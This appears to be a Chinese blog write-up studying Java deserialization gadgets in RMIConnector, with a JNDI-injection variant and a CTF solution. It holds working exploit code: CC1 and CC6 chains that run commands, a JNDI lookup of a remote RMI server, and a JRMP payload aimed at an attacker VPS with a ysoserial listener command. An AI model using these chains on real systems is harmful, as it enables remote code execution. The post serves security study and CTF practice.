RMIConnector类反序列化
前言
Asal1n老登最近在狂卷关于CTF模块Java Sec反序列化方面的内容,他在出现了各种各样的问题后总会找我讨论一番,然后我就会学习到新的东西,下面这个文章就是这周末出来的一些新内容,记录以下,感谢Asal1n。
RMIConnector二次反序列化
这个反序列化链子之前确实没有遇到过,在他发给我的时候是有一点懵的,但是这整条链子十分的简单,确实立即就看懂把问题解决了,下面的链子的分析。
二次反序列化顾名思义就是要找到一个方法里面能够接受对象触发readObject,同时这个方法也可以通过反序列化链子触发。此次的二次反序列化触发点就在findRMIServerJRMP中。这个方法接受一个base64字符串,将传入的字符串转换成字节数组并读取,随后通过传入的env环境变量解析客户端的类加载器,如果获取到的类加载器为空,则直接将字节流转换成对象流,最终通过readObject触发反序列化。
![]()
在上面findRMIServer中,接受了一个JMXServiceURL类的参数和一个Map,先调用isIiopURL判断directoryURL的协议类型是RMI还是IIOP,这里的判断方法是获取protocol属性进行判断,protocol在构造JMXServiceURL的时候取出service:jmx:后面部分赋值给protocol。如果它是iiop协议,会把java.naming.corba.orb字符和类放入到map中。最终从directoryURL中获取urlPath的内容,取出;的索引位置,如果不存在; ,把end赋值为整个长度,判断path是以/jndi/ /stub/等起始进入不同的方法并把/jndi/ /stub/对应的字符串去掉。
此处要触发二次反序列化,需要令findRMIServer进入findRMIServerJRMP,所以要传入的urlPath以/stub/开头并且是rmi协议
![]()
![]()
在RMIConnect#connect方法中和RMIConnect.RMIClientCommunicatorAdmin#doStart找到调用了findRMIServer的方法,这里肯定是使用connect方便,这个方法根据terminated和connected判断是否以关闭交互或已连接抛出异常,最终来到rmiServer的判断,这里rmiServer也是RMIConnect实例化的时候传参判断是,可以实例化RMIServer或jmxServiceURL,当RMIServer为空,会调用findRMIServerw,这里的stub可以理解为RMI协议进行通信的中转器。
![]()
至于后面如何调用的connect方法,在本类中并没有找到能直接调用connect方法的东西,所以这里调用connect方法可以通过method.invoke的方式来触发,例如CC链的触发点。
那么为什么不直接就通过method.invoke触发findRMIServer,因为connect更简单,它可以接受空的参数就触发后面的链子并且是public修饰的,而直接触发findRMIServer需要传参,而且它是私有方法。
Gadgets:
method.invoke()->
RMIConnect#connect()->
RMIConnect#findRMIServer()->
RMIConnect#findRMIServerJRMP()->
readObject() payload(以CC1链为例):
package com.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.poi.ss.formula.functions.T;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class RmiConnect {
public static void main(String[] args) throws Exception {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class), //解决第三个问题
//解决Runtime无法被序列化的问题
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object> map=new HashMap<>();
TransformedMap transformedMap= (TransformedMap) TransformedMap.decorate(map,null,chainedTransformer);
map.put("value","aiwin");
Class<?> AnnotationInvocationHandler=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor=AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object result= constructor.newInstance(Target.class,transformedMap);
String s= serialize2Base64(result);
RMIUnserialize(s);
}
public static void RMIUnserialize(String base64) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
JMXServiceURL jmxServiceURL=new JMXServiceURL("service:jmx:rmi://");
RMIConnector rmiConnector=new RMIConnector(jmxServiceURL,null);
setFieldValue(jmxServiceURL,"urlPath","/stub/"+base64);
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(rmiConnector),
new InvokerTransformer("connect", null, null)
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object> map=new HashMap<>();
TransformedMap transformedMap= (TransformedMap) TransformedMap.decorate(map,null,chainedTransformer);
map.put("value","aiwin");
Class<?> AnnotationInvocationHandler=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor=AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object result= constructor.newInstance(Target.class,transformedMap);
byte[] serialize = serialize(result);
unserialize(serialize);
}
public static byte[] serialize(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream outputStream=new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(object);
return byteArrayOutputStream.toByteArray();
}
public static String serialize2Base64(Object object) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);
String s = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
return s;
}
public static void setFieldValue(Object object,String fieldName,String value) throws NoSuchFieldException, IllegalAccessException {
Field field=object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,value);
}
public static void unserialize(byte[] ser) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream=new ObjectInputStream(new ByteArrayInputStream(ser));
objectInputStream.readObject();
}
}
RMIConnect JNDI注入
同样在findRMIServerJNDI中它能够通过接受jndiURL的形式来直接调用lookup进而从远程服务器中调用ClassLoader完成类加载,所以这里也是可以进行JNDI注入的。
![]()
只需要把传入的directoryURL以/jndi/开头即可
![]()
payload(以CC6为例):
package com.example.rmiconnect;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class RmiConnect_jndi {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
String path="rmi://127.0.0.1:8085/OLtKoxXc";
JMXServiceURL jmxServiceURL=new JMXServiceURL("service:jmx:rmi://");
RMIConnector rmiConnector=new RMIConnector(jmxServiceURL,null);
setFieldValue(jmxServiceURL,"urlPath","/jndi/"+path);
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(rmiConnector),
new InvokerTransformer("connect", null, null)
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object> map=new HashMap<>();
Map<Object,Object> Lazymap= LazyMap.decorate(map,new ConstantTransformer(1)); //先设置为其它Transformer,使其put()方法不触发
TiedMapEntry tiedMapEntry=new TiedMapEntry(Lazymap,"aaa");
HashMap<Object,Object> map2=new HashMap<>();
map2.put(tiedMapEntry,"bbb");
Lazymap.remove("aaa"); //将key去掉,使它能进入transform()方法
setFieldValue(Lazymap,"factory",chainedTransformer);
unserialize(serialize(map2));
}
public static void setFieldValue(Object object,String fieldName,Object value) throws NoSuchFieldException, IllegalAccessException {
Field field=object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,value);
}
public static byte[] serialize(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream outputStream=new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(object);
return byteArrayOutputStream.toByteArray();
}
public static void unserialize(byte[] ser) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream=new ObjectInputStream(new ByteArrayInputStream(ser));
objectInputStream.readObject();
}
}
[Hgame week4]i-short-you1
这道题是看了yoserial后才恍然大悟,打Jackson反序列化链子的时候因为BaseJsonNode的writeplace检查,所以反序列化是不成功的,但是我之前一直没有意识到writeplace可以在反序列化的时候通过动态代码把writeplace方法直接remove掉。
题目代码:
![]()
题目代码很短,只限制了长度为
220,也就是说这样必定不可能是常规接受参数进行反序列化的打法,可能的就是RMI、LDAP、JRMP去请求payload从而实现命令执行的打法
![]()
看一眼依赖,发现就只有
springboot的正常依赖,但是这里jackson的版本是2.13,这个版本号依旧是存在jackson反序列化漏洞的。
因为题目环境的jdk版本是202,在191之后,也就是说RMI、ldap这一类的codebase已经被ban掉了,唯一可用的就只剩下JRMP,所以此处是JRMP打JACKSON1链子的打法
package org.vidar.controller;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.io.*;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Base64;
public class POC {
public static void main(String[] args) throws IOException, ClassNotFoundException {
ObjID objID=new ObjID();
TCPEndpoint tcpEndpoint=new TCPEndpoint("127.0.0.1",8081); //vps-ip
LiveRef liveRef=new LiveRef(objID,tcpEndpoint,false);
UnicastRef unicastRef=new UnicastRef(liveRef);
RemoteObjectInvocationHandler remote=new RemoteObjectInvocationHandler(unicastRef);
ByteArrayOutputStream byteArrayOutput=new ByteArrayOutputStream();
ObjectOutputStream outputStream=new ObjectOutputStream(byteArrayOutput);
outputStream.writeObject(remote);
outputStream.close();
//创建一个远程对象的引用和调用处理程序,进行序列化写入,反序列化向VPS进行请求
byte[] bytes=byteArrayOutput.toByteArray();
String res = Base64.getEncoder().encodeToString(bytes);
System.out.println(res);
}
//java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 8081 Jackson1 "calc.exe" 起JRMP服务器
}
![]()
文章标题:RMIConnector类反序列化
文章链接:https://aiwin.net.cn/index.php/archives/4388/
最后编辑:2025 年 5 月 19 日 21:34 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)
大佬好厉害